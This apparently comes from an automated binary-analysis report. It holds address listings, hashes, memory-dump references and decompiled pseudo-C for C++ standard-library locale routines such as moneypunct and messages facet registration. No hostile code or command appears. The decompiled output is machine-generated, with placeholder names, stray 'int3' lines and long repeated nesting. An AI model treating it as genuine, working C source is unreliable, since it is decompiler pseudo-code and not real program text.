0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6
0x0049974a
0x0049974a
0x0049974d
0x00499751
0x00499755
0x00499762
0x0049976a
0x0049976c
0x00000000
0x0049976c
0x00499733
0x00499733
0x00000000
0x00499733
0x00499731
0x004996b5
0x004996b5
0x004996b8
0x004996bc
0x004996c0
0x004996cd
0x004996d5
0x004996d7
0x00000000
0x004996d7
0x0049969e
0x0049969e
0x00000000
0x0049969e
0x0049969c
0x00499620
0x00499620
0x00499623
0x00499627
0x0049962b
0x00499638
0x00499640
0x00499642
0x00000000
0x00499642
0x00499609
0x00499609
0x00000000
0x00499609
0x00499607

APIs

__EH_prolog3.LIBCMT ref: 004995D0
std::_Lockit::_Lockit.LIBCPMT ref: 004995DA

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 00499614
std::_Facet_Register.LIBCPMT ref: 0049962B
std::_Lockit::~_Lockit.LIBCPMT ref: 0049964B
Concurrency::cancel_current_task.LIBCPMT ref: 00499658

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: 581d3b7ff8c192ed1fc2a9a2d958f71696b65fa7f81e5df07151ae66b5f6ecc1
Instruction ID: d8b281b4b2f7af1f1bcc60401041b036efa8871ecac6a29e2b142880d4d86f08
Opcode Fuzzy Hash: 581d3b7ff8c192ed1fc2a9a2d958f71696b65fa7f81e5df07151ae66b5f6ecc1
Instruction Fuzzy Hash: F401AD31D002159BCF05EBA998596BE7BB1AF94714F54046EE420AB382CF7C9E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499788, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00499788() {
				signed int _t59;
				void* _t97;
				signed int _t144;
				void* _t157;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				void* _t162;
				signed int _t163;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				signed int _t167;
				void* _t172;
				void* _t173;

				_push(8);
				E0049D90B(0x4d6966, _t157, _t162);
				E00488DEA(_t172 - 0x14, 0);
				_t163 =  *0x4ede64; // 0x0
				 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
				 *(_t172 - 0x10) = _t163;
				_t59 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede44, _t157, _t163, _t173));
				_t158 = _t59;
				if(_t59 != 0) {
					L5:
					E00488E42(_t172 - 0x14);
					return E0049D8D4(_t158);
				} else {
					if(_t163 == 0) {
						_push( *((intOrPtr*)(_t172 + 8)));
						_push(_t172 - 0x10);
						__eflags = E00499CBD(_t158, _t163, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t158, _t163);
							E00488DEA(_t172 - 0x14, 0);
							_t164 =  *0x4ede60; // 0x0
							 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
							 *(_t172 - 0x10) = _t164;
							_t159 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede40, _t158, _t164, __eflags));
							__eflags = _t159;
							if(_t159 != 0) {
								L12:
								E00488E42(_t172 - 0x14);
								return E0049D8D4(_t159);
							} else {
								__eflags = _t164;
								if(__eflags == 0) {
									_push( *((intOrPtr*)(_t172 + 8)));
									_push(_t172 - 0x10);
									__eflags = E00499D41(_t159, _t164, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t159, _t164);
										E00488DEA(_t172 - 0x14, 0);
										_t165 =  *0x4ede68; // 0x0
										 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
										 *(_t172 - 0x10) = _t165;
										_t160 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede48, _t159, _t165, __eflags));
										__eflags = _t160;
										if(_t160 != 0) {
											L19:
											E00488E42(_t172 - 0x14);
											return E0049D8D4(_t160);
										} else {
											__eflags = _t165;
											if(__eflags == 0) {
												_push( *((intOrPtr*)(_t172 + 8)));
												_push(_t172 - 0x10);
												__eflags = E00499DC6(_t160, _t165, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t160, _t165);
													E00488DEA(_t172 - 0x14, 0);
													_t166 =  *0x4ede6c; // 0x0
													 *(_t172 - 4) =  *(_t172 - 4) & 0x00000000;
													 *(_t172 - 0x10) = _t166;
													_t161 = E0042B315( *((intOrPtr*)(_t172 + 8)), E0042B22E(0x4ede4c, _t160, _t166, __eflags));
													__eflags = _t161;
													if(_t161 != 0) {
														L26:
														E00488E42(_t172 - 0x14);
														return E0049D8D4(_t161);
													} else {
														__eflags = _t166;
														if(__eflags == 0) {
															_push( *((intOrPtr*)(_t172 + 8)));
															_push(_t172 - 0x10);
															_t97 = E00499E32(_t161, _t166, __eflags);
															_pop(_t144);
															__eflags = _t97 - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(4);
																E0049D90B(0x4d6989, _t161, _t166);
																_t167 = _t144;
																 *(_t172 - 0x10) = _t167;
																 *((intOrPtr*)(_t167 + 4)) =  *((intOrPtr*)(_t172 + 0xc));
																_push( *((intOrPtr*)(_t172 + 8)));
																_t53 = _t172 - 4;
																 *_t53 =  *(_t172 - 4) & 0x00000000;
																__eflags =  *_t53;
																 *_t167 = 0x402f68; // executed
																E0049AC63(_t144, _t161, _t167,  *_t53); // executed
																return E0049D8D4(_t167);
															} else {
																_t161 =  *(_t172 - 0x10);
																 *(_t172 - 0x10) = _t161;
																 *(_t172 - 4) = 1;
																E0048919D(_t161);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t161 + 4))))();
																 *0x4ede6c = _t161;
																goto L26;
															}
														} else {
															_t161 = _t166;
															goto L26;
														}
													}
												} else {
													_t160 =  *(_t172 - 0x10);
													 *(_t172 - 0x10) = _t160;
													 *(_t172 - 4) = 1;
													E0048919D(_t160);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t160 + 4))))();
													 *0x4ede68 = _t160;
													goto L19;
												}
											} else {
												_t160 = _t165;
												goto L19;
											}
										}
									} else {
										_t159 =  *(_t172 - 0x10);
										 *(_t172 - 0x10) = _t159;
										 *(_t172 - 4) = 1;
										E0048919D(_t159);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t159 + 4))))();
										 *0x4ede60 = _t159;
										goto L12;
									}
								} else {
									_t159 = _t164;
									goto L12;
								}
							}
						} else {
							_t158 =  *(_t172 - 0x10);
							 *(_t172 - 0x10) = _t158;
							 *(_t172 - 4) = 1;
							E0048919D(_t158);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t158 + 4))))();
							 *0x4ede64 = _t158;
							goto L5;
						}
					} else {
						_t158 = _t163;
						goto L5;
					}
				}
			}

0x00499788
0x0049978f
0x00499799
0x0049979e
0x004997a9
0x004997ad
0x004997b9
0x004997be
0x004997c2
0x00499807
0x0049980a
0x00499816
0x004997c4
0x004997c6
0x004997cc
0x004997d2
0x004997da
0x004997dd
0x00499817
0x0049981c
0x0049981d
0x00499824
0x0049982e
0x00499833
0x0049983e
0x00499842
0x00499853
0x00499855
0x00499857
0x0049989c
0x0049989f
0x004998ab
0x00499859
0x00499859
0x0049985b
0x00499861
0x00499867
0x0049986f
0x00499872
0x004998ac
0x004998b1
0x004998b2
0x004998b9
0x004998c3
0x004998c8
0x004998d3
0x004998d7
0x004998e8
0x004998ea
0x004998ec
0x00499931
0x00499934
0x00499940
0x004998ee
0x004998ee
0x004998f0
0x004998f6
0x004998fc
0x00499904
0x00499907
0x00499941
0x00499946
0x00499947
0x0049994e
0x00499958
0x0049995d
0x00499968
0x0049996c
0x0049997d
0x0049997f
0x00499981
0x004999c6
0x004999c9
0x004999d5
0x00499983
0x00499983
0x00499985
0x0049998b
0x00499991
0x00499992
0x00499998
0x00499999
0x0049999c
0x004999d6
0x004999db
0x004999dc
0x004999e3
0x004999e8
0x004999ea
0x004999f0
0x004999f3
0x004999f6
0x004999f6
0x004999f6
0x004999fa
0x00499a00
0x00499a0c
0x0049999e
0x0049999e
0x004999a1
0x004999a5
0x004999a9
0x004999b6
0x004999be
0x004999c0
0x00000000
0x004999c0
0x00499987
0x00499987
0x00000000
0x00499987
0x00499985
0x00499909
0x00499909
0x0049990c
0x00499910
0x00499914
0x00499921
0x00499929
0x0049992b
0x00000000
0x0049992b
0x004998f2
0x004998f2
0x00000000
0x004998f2
0x004998f0
0x00499874
0x00499874
0x00499877
0x0049987b
0x0049987f
0x0049988c
0x00499894
0x00499896
0x00000000
0x00499896
0x0049985d
0x0049985d
0x00000000
0x0049985d
0x0049985b
0x004997df
0x004997df
0x004997e2
0x004997e6
0x004997ea
0x004997f7
0x004997ff
0x00499801
0x00000000
0x00499801
0x004997c8
0x004997c8
0x00000000
0x004997c8
0x004997c6

APIs

__EH_prolog3.LIBCMT ref: 0049978F
std::_Lockit::_Lockit.LIBCPMT ref: 00499799

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 004997D3
std::_Facet_Register.LIBCPMT ref: 004997EA
std::_Lockit::~_Lockit.LIBCPMT ref: 0049980A
Concurrency::cancel_current_task.LIBCPMT ref: 00499817

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: 151a5cb6a0bbab467bee6533aeea040cd029332179a6ab3da36f8b9fa95dc6b4
Instruction ID: 49ac802887d0621467d1e4e35387ffc2160dcd53cc5cd5c6759d1e4b805c01c3
Opcode Fuzzy Hash: 151a5cb6a0bbab467bee6533aeea040cd029332179a6ab3da36f8b9fa95dc6b4
Instruction Fuzzy Hash: 6901C475D002159BCF05FB69D9596BE7BA5AF80314F14086FE4106B392CF7C9D01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0049981D, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00499824
std::_Lockit::_Lockit.LIBCPMT ref: 0049982E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

moneypunct.LIBCPMT ref: 00499868
std::_Facet_Register.LIBCPMT ref: 0049987F
std::_Lockit::~_Lockit.LIBCPMT ref: 0049989F
Concurrency::cancel_current_task.LIBCPMT ref: 004998AC

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermoneypunct
String ID:
API String ID: 1799738296-0
Opcode ID: de08c772e2acb405dd92486b0e539cf298e9208f1be538485e14416e98adfe90
Instruction ID: 173be25e0af6a6ad485d310c2ec6247dbffd84edc721f2b0032609691a1fd12e
Opcode Fuzzy Hash: de08c772e2acb405dd92486b0e539cf298e9208f1be538485e14416e98adfe90
Instruction Fuzzy Hash: 4001AD31D102298BCF05FBA998596BE7B65AF90314F14086EE410AB382CF7D9E018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C83A, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C83A(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v164;
				signed int _t177;
				void* _t325;
				short* _t469;
				void* _t512;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				signed int _t524;
				signed int _t525;
				signed int _t526;
				void* _t527;
				signed int _t528;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				signed int _t537;
				signed int _t538;
				signed int _t539;
				signed int _t540;
				signed int _t541;
				short* _t542;
				void* _t561;
				void* _t562;

				_push(8);
				E0049D90B(0x4d6966, _t512, _t527);
				E00488DEA( &_v20, 0);
				_t528 =  *0x4ede20; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t528;
				_t177 = E0042B315(_a8, E0042B22E(0x4eddc4, _t512, _t528, _t562));
				_t513 = _t177;
				if(_t177 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t513);
				} else {
					if(_t528 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E255(_t513, _t528, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t513, _t528);
							E00488DEA( &_v20, 0);
							_t529 =  *0x4ede1c; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t529;
							_t514 = E0042B315(_a8, E0042B22E(0x4eddc0, _t513, _t529, __eflags));
							__eflags = _t514;
							if(_t514 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t514);
							} else {
								__eflags = _t529;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E2D9(_t514, _t529, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t514, _t529);
										E00488DEA( &_v20, 0);
										_t530 =  *0x4eddf0; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t530;
										_t515 = E0042B315(_a8, E0042B22E(0x4edd9c, _t514, _t530, __eflags));
										__eflags = _t515;
										if(_t515 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t515);
										} else {
											__eflags = _t530;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E35E(_t515, _t530, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t515, _t530);
													E00488DEA( &_v20, 0);
													_t531 =  *0x4eddec; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t531;
													_t516 = E0042B315(_a8, E0042B22E(0x4edd98, _t515, _t531, __eflags));
													__eflags = _t516;
													if(_t516 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t516);
													} else {
														__eflags = _t531;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E3E2(_t516, _t531, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t516, _t531);
																E00488DEA( &_v20, 0);
																_t532 =  *0x4ede00; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t532;
																_t517 = E0042B315(_a8, E0042B22E(0x4edda4, _t516, _t532, __eflags));
																__eflags = _t517;
																if(_t517 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t517);
																} else {
																	__eflags = _t532;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E467(_t517, _t532, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t517, _t532);
																			E00488DEA( &_v20, 0);
																			_t533 =  *0x4eddd0; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t533;
																			_t518 = E0042B315(_a8, E0042B22E(0x4edd7c, _t517, _t533, __eflags));
																			__eflags = _t518;
																			if(_t518 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t518);
																			} else {
																				__eflags = _t533;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E4CF(_t518, _t533, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t518, _t533);
																						E00488DEA( &_v20, 0);
																						_t534 =  *0x4ede04; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t534;
																						_t519 = E0042B315(_a8, E0042B22E(0x4edda8, _t518, _t534, __eflags));
																						__eflags = _t519;
																						if(_t519 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t519);
																						} else {
																							__eflags = _t534;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E537(_t519, _t534, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t519, _t534);
																									E00488DEA( &_v20, 0);
																									_t535 =  *0x4eddd4; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t535;
																									_t520 = E0042B315(_a8, E0042B22E(0x4edd80, _t519, _t535, __eflags));
																									__eflags = _t520;
																									if(_t520 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t520);
																									} else {
																										__eflags = _t535;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E59F(_t520, _t535, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t520, _t535);
																												E00488DEA( &_v20, 0);
																												_t536 =  *0x4ede08; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t536;
																												_t521 = E0042B315(_a8, E0042B22E(0x4eddac, _t520, _t536, __eflags));
																												__eflags = _t521;
																												if(_t521 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t521);
																												} else {
																													__eflags = _t536;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E607(_t521, _t536, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t521, _t536);
																															E00488DEA( &_v20, 0);
																															_t537 =  *0x4eddd8; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t537;
																															_t522 = E0042B315(_a8, E0042B22E(0x4edd84, _t521, _t537, __eflags));
																															__eflags = _t522;
																															if(_t522 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t522);
																															} else {
																																__eflags = _t537;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E682(_t522, _t537, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t522, _t537);
																																		E00488DEA( &_v20, 0);
																																		_t538 =  *0x4ede24; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t538;
																																		_t523 = E0042B315(_a8, E0042B22E(0x4eddc8, _t522, _t538, __eflags));
																																		__eflags = _t523;
																																		if(_t523 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t523);
																																		} else {
																																			__eflags = _t538;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E6FD(_t523, _t538, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t523, _t538);
																																					E00488DEA( &_v20, 0);
																																					_t539 =  *0x4eddf4; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t539;
																																					_t524 = E0042B315(_a8, E0042B22E(0x4edda0, _t523, _t539, __eflags));
																																					__eflags = _t524;
																																					if(_t524 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t524);
																																					} else {
																																						__eflags = _t539;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E769(_t524, _t539, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t524, _t539);
																																								E00488DEA( &_v20, 0);
																																								_t540 =  *0x4ede28; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t540;
																																								_t525 = E0042B315(_a8, E0042B22E(0x4eddcc, _t524, _t540, __eflags));
																																								__eflags = _t525;
																																								if(_t525 != 0) {
																																									L89:
																																									E00488E42( &_v20);
																																									return E0049D8D4(_t525);
																																								} else {
																																									__eflags = _t540;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E7D5(_t525, _t540, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											E0049D90B(0x4d6966, _t525, _t540);
																																											E00488DEA( &_v20, 0);
																																											_t541 =  *0x4eddf8; // 0x0
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t541;
																																											_t526 = E0042B315(_a8, E0042B22E(0x4edd78, _t525, _t541, __eflags));
																																											__eflags = _t526;
																																											if(_t526 != 0) {
																																												L96:
																																												E00488E42( &_v20);
																																												return E0049D8D4(_t526);
																																											} else {
																																												__eflags = _t541;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													_t325 = E0048E849(_t526, _t541, __eflags);
																																													_pop(_t469);
																																													__eflags = _t325 - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(_t541);
																																														_t542 = _t469;
																																														_t170 = _t542 + 0x10;
																																														 *_t170 =  *(_t542 + 0x10) & 0x00000000;
																																														__eflags =  *_t170;
																																														 *((intOrPtr*)(_t542 + 0x14)) = 7;
																																														 *_t542 = 0;
																																														E00494BE0( *((intOrPtr*)(_t561 + 8)));
																																														return _t542;
																																													} else {
																																														_t526 = _v16;
																																														_v16 = _t526;
																																														_v4 = 1;
																																														E0048919D(_t526);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t526 + 4))))();
																																														 *0x4eddf8 = _t526;
																																														goto L96;
																																													}
																																												} else {
																																													_t526 = _t541;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t525 = _v16;
																																											_v16 = _t525;
																																											_v4 = 1;
																																											E0048919D(_t525);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t525 + 4))))();
																																											 *0x4ede28 = _t525;
																																											goto L89;
																																										}
																																									} else {
																																										_t525 = _t540;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t524 = _v16;
																																								_v16 = _t524;
																																								_v4 = 1;
																																								E0048919D(_t524);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t524 + 4))))();
																																								 *0x4eddf4 = _t524;
																																								goto L82;
																																							}
																																						} else {
																																							_t524 = _t539;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t523 = _v16;
																																					_v16 = _t523;
																																					_v4 = 1;
																																					E0048919D(_t523);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t523 + 4))))();
																																					 *0x4ede24 = _t523;
																																					goto L75;
																																				}
																																			} else {
																																				_t523 = _t538;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t522 = _v16;
																																		_v16 = _t522;
																																		_v4 = 1;
																																		E0048919D(_t522);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t522 + 4))))();
																																		 *0x4eddd8 = _t522;
																																		goto L68;
																																	}
																																} else {
																																	_t522 = _t537;
																																	goto L68;
																																}
																															}
																														} else {
																															_t521 = _v16;
																															_v16 = _t521;
																															_v4 = 1;
																															E0048919D(_t521);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t521 + 4))))();
																															 *0x4ede08 = _t521;
																															goto L61;
																														}
																													} else {
																														_t521 = _t536;
																														goto L61;
																													}
																												}
																											} else {
																												_t520 = _v16;
																												_v16 = _t520;
																												_v4 = 1;
																												E0048919D(_t520);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t520 + 4))))();
																												 *0x4eddd4 = _t520;
																												goto L54;
																											}
																										} else {
																											_t520 = _t535;
																											goto L54;
																										}
																									}
																								} else {
																									_t519 = _v16;
																									_v16 = _t519;
																									_v4 = 1;
																									E0048919D(_t519);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t519 + 4))))();
																									 *0x4ede04 = _t519;
																									goto L47;
																								}
																							} else {
																								_t519 = _t534;
																								goto L47;
																							}
																						}
																					} else {
																						_t518 = _v16;
																						_v16 = _t518;
																						_v4 = 1;
																						E0048919D(_t518);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t518 + 4))))();
																						 *0x4eddd0 = _t518;
																						goto L40;
																					}
																				} else {
																					_t518 = _t533;
																					goto L40;
																				}
																			}
																		} else {
																			_t517 = _v16;
																			_v16 = _t517;
																			_v4 = 1;
																			E0048919D(_t517);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t517 + 4))))();
																			 *0x4ede00 = _t517;
																			goto L33;
																		}
																	} else {
																		_t517 = _t532;
																		goto L33;
																	}
																}
															} else {
																_t516 = _v16;
																_v16 = _t516;
																_v4 = 1;
																E0048919D(_t516);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t516 + 4))))();
																 *0x4eddec = _t516;
																goto L26;
															}
														} else {
															_t516 = _t531;
															goto L26;
														}
													}
												} else {
													_t515 = _v16;
													_v16 = _t515;
													_v4 = 1;
													E0048919D(_t515);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t515 + 4))))();
													 *0x4eddf0 = _t515;
													goto L19;
												}
											} else {
												_t515 = _t530;
												goto L19;
											}
										}
									} else {
										_t514 = _v16;
										_v16 = _t514;
										_v4 = 1;
										E0048919D(_t514);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t514 + 4))))();
										 *0x4ede1c = _t514;
										goto L12;
									}
								} else {
									_t514 = _t529;
									goto L12;
								}
							}
						} else {
							_t513 = _v16;
							_v16 = _t513;
							_v4 = 1;
							E0048919D(_t513);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t513 + 4))))();
							 *0x4ede20 = _t513;
							goto L5;
						}
					} else {
						_t513 = _t528;
						goto L5;
					}
				}
			}

0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c86b
0x0048c870
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
